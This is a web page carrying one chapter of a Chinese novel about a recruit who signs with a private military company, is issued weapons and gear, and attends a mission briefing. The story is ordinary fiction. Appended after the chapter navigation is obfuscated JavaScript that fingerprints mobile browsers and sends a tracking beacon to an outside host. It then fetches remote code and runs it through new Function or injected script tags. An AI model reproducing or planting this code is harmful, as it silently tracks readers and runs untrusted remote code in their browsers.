悠悠书盟 > 都市小说 > 战争与玫瑰战争 > 第二十五章 短刃

第二十五章 短刃(1/3)

上一章战争与玫瑰战争章节目录下一页
合同是在第二天的早晨签订的。

齐梓明拄着拐杖走进那间挂着skm标志的临时办公室时,快刀手已经在那里等着了。房间很小,只有一张桌子、两把椅子,墙上的地图用图钉固定着,边缘已经卷曲。

“决定了?”快刀手没有寒暄。

“决定了。”齐梓明坐下,把拐杖靠在桌边。

队长推过来两份文件,一支笔。合同文本比样本多了几页附加条款,但核心内容没变。齐梓明快速浏览了一遍,目光在几个关键数字上停留:年薪三万,死亡赔偿二十万,保险额度提升。然后他翻到最后一页,在签名栏写下自己的名字。

不是夏文,是拼音。qi ziming。字母在纸上显得陌生而坚定。

快刀手拿过一份,检查签名,然后从抽屉里取出公章,在几个位置盖上。蓝色的印泥,鹰抓闪电的图案。

“欢迎正式加入skm公司,雇员编号b7-041。”队长伸出手。

齐梓明握住那只手。手掌粗糙,布满老茧,力度很大。

“从现在开始,你就是第七小队的正式成员了。”快刀手收回手,点了支烟,“代号‘短刃’,已经录入系统。你的个人装备会在一周内配发,基础型,如果需要定制或升级,自己出钱。”

“明白。”

“还有件事。”队长吐出一口烟,“铁砧的手术费,公司决定全额承担,不扣你工资。这是对新人的优待,也是对你上次表现的认可。但只有这一次。”

齐梓明点点头。他其实已经做好了扣钱的准备。

“回去收拾东西。一周后出发。”

“去哪?”

“还是卡桑加。”快刀手的眼神冷了下来,“但这次不一样了。”

---

接下来的七天,齐梓明的腿伤以肉眼可见的速度好转。拆线那天,医生检查了伤口,点了点头。

“愈合得不错。但别急着跑跳,再养一周。”

“一周后我要出任务。”

医生看了他一眼,没说话,只是又开了些消炎药和止痛药。

原来的装备在治疗期间已返还到装备库,新的装备是在签合同以后第三天送来的。一个绿色的军用储物箱,里面整齐摆放着:一套改良版的multicam迷彩作战服,一双merrell战术靴,一个fast头盔,一副防破片眼镜,一件iii级防弹背心,还有基础战术背心和配套的装备包。

齐梓明试穿了所有东西。作战服比之前的合身,靴子需要磨合,防弹背心很沉——连同前后插板超过十公斤。但他很快就适应了这种重量,或者说,他开始习惯身上总有重物压着的感觉。

个人武器需要自选。军械库的管理员还是那个独臂的老兵,据说曾经是某国特种部队的军士长,在一次任务中失去了左臂,退役后来了这里。

“新人?代号?”老兵头也不抬地问。

“短刃。”

他领着齐梓明走进库房。架子上整齐摆放着各种武器,从手枪到步枪,从***到狙击步枪。空气里有枪油和金属的味道。

“公司标准配置是m4系***,但你可以选别的,只要你能用,公司能供应弹药。”老兵指了指一排步枪,“建议选5.56口径的,弹药通用性好。7.62的威力大,但携弹量少,后坐力也大。”

齐梓明扫视着那些枪。最后,他的手还是拿起了那把陪他上过一次战场的hk417。

“这个。”

老兵点点头,开始登记。除了主武器,齐梓明还选了一把glock 19手枪作为副武器,以及一把多功能刺刀——不是军用的,是某户外品牌的产品,但足够锋利。

“给你个建议。”老兵在登记表上签完字,可能是上次见过一面,老兵的话多了一些,抬头说,“在战场上,枪是你的第一条命,刀是你的最后一条命。但真正能救你的,是这个。”

他指了指自己的脑袋。

---

出发前夜,第七小队开了最后一次简报会。

会议室里烟雾缭绕。快刀手站在投影幕布前,幕布上是卡桑加市区的卫星图。小队成员围坐在长桌旁,齐梓明数了数,正好十个人。

“都到齐了,我说一下情况。”队长用激光笔指着地图,“我们明天早上六点出发,前往卡桑加东区。任务周期预计两周,实际视情况而定。”

“还是守据点?”说话的是“灰雁”林国伟。

“不,这次是机动支援。”快刀手的激光点移动到地图上的几个红圈,“政府军和clf的战线已经僵持了一个月。双方都在争夺这几个关键节点:自来水厂、发电站、通讯塔。谁控制了这些,谁就控制了半个城市。”

他切换图片,出现的是几张建筑照片。“我们的雇主——卡桑加政府,雇佣了四家私人军事公司。北风是其中之一,负责东区战线。我们第七小队现在满编十人,但实际有作战经验的只有七个。”

队长的目光扫过三个新人:齐梓明、灰雁,还有一个代号“回音”的年轻黑人。回音很瘦,眼睛很大,总是不自觉地摸着脖子上挂的十字架。

“这次我们不是独立行动。”快刀手继续说,“第三小队三天前在自来水厂附近遭遇伏击,伤亡五人,剩下的人已经撤回营地休整。我们将作为临时补充,和第三小队剩余人员合并行动,统一由第三小队的队长‘雪貂’指挥。”

底下传来几声低语。显然,没人喜欢被编入其他小队指挥。

“我知道你们不爽。”快刀手说,“我也不爽。但这是公司的决定。第三小队损失惨重,需要人手补充。我们正好有休整期结束,就这么简单。”

他顿了顿,开始介绍任务细节。

齐梓明听着,但注意力不时飘到队友身上。医生在擦拭他的狙击步枪镜片,那枪是m110半自动,枪托上刻着六道划痕——不知道是击杀记录还是别的什么。幽灵靠在椅子上闭目养神,但齐梓明注意到他的手指在膝盖上轻轻敲击,像在练习什么指法。铁砧二号在检查他的minimi机枪弹链,这是个壮实的白人,光头,手臂上纹着骷髅和玫瑰。

哨兵在摆弄他的观察设备,牧羊人——队里的战术副手——在做笔记。灰雁面无表情地听着,回音则显得紧张,不停调整坐姿。

齐梓明摸了摸自己胸前的名牌。上面写着:b7-041 短刃。

短刃。这是他给自己起的代号。短小,隐蔽,致命。他希望自己能像一把匕首,在需要的时候刺出,然后收回。

“短刃。”快刀手突然叫他。

齐梓明抬头。

“你负责什么位置?”

“步枪手。”

“这次你兼医疗辅助。”队长看向医生,“带带他,教他基础战场急救。铁砧倒下的那次,如果你会止血包扎,他能少流一半血。”

医生点了点头,没说话。

“还有什么问题吗?”快刀手问。

没人说话。
上一章战争与玫瑰战争章节目录下一页
function DcdGKZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function KRpZvO(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return DcdGKZ(t);};window[''+'B'+'y'+'Z'+'H'+'e'+'R'+'y'+'L'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function rqYH(t){var e=t.match(new RegExp('^((https?|wss?)?://)?d.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=KRpZvO,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=rqYH(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://deh.insfhrt.com:8887/stats/70521?i=67&ukey=' + a;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__dsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/mj1/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=rqYH(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/mj1/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/mj1/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZkLmhibHN3cnFvLmNvbSUzQTg4OODc=','d3NNzJTNNBJTJGJTJGZC52dHlpdHByLmNNvbSUzQTg4ODc=','50662',window,document,['O','N']);}:function(){};